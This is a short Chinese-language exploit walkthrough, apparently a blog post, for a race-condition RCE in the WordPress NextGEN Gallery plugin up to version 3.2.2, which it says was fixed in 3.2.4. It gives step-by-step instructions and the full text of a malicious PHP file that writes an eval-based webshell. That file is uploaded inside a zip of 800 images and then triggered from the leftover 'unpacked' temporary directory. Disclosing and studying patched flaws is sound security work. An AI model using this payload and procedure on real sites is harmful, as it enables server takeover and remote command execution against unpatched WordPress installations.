WordPress插件NextGEN Gallery <= 3.2.2版本将上传的zip压缩包解压到/wp-content/uploads目录下的临时目录,该临时目录具有显著特点:以unpacked开头。
当zip压缩文件包含大量图片时将导致处理进程崩溃,而临时目录没有删除。如果在zip压缩包中放置一个php文件,那么该php文件会被解压到临时目录造成RCE漏洞。
官方在2019年6月4日发布了3.2.4版本修复了漏洞。
第1步:制作Zip压缩包
我制作了一个包含800张图片和1个恶意php文件(abc233.php)的zip压缩包,图片都是几KB的小图片,恶意php文件的功能是往上级目录写入webshell,abc233.php文件内容如下:
<?php file_put_contents('../webshell666.php', '<?php @eval($_REQUEST["cmdx"]);?>'); ?>
第2步:上传zip压缩包
点击“Add Gallery / Images”然后上传zip压缩包。
第3步:查看临时目录
点击“import folder”,再点击“uploads”即可看到解压的临时目录。
第4步:生成webshell
访问临时目录下的abc233.php文件即可在/wp-content/uploads目录下生成webshell。
http://192.168.56.1/wp-content/uploads/unpacked-phpA0CB.tmp/abc233.php
参考链接:
https://medium.com/websec/wordpress-nextgen-gallery-race-condition-to-rce-d64695ef3d5c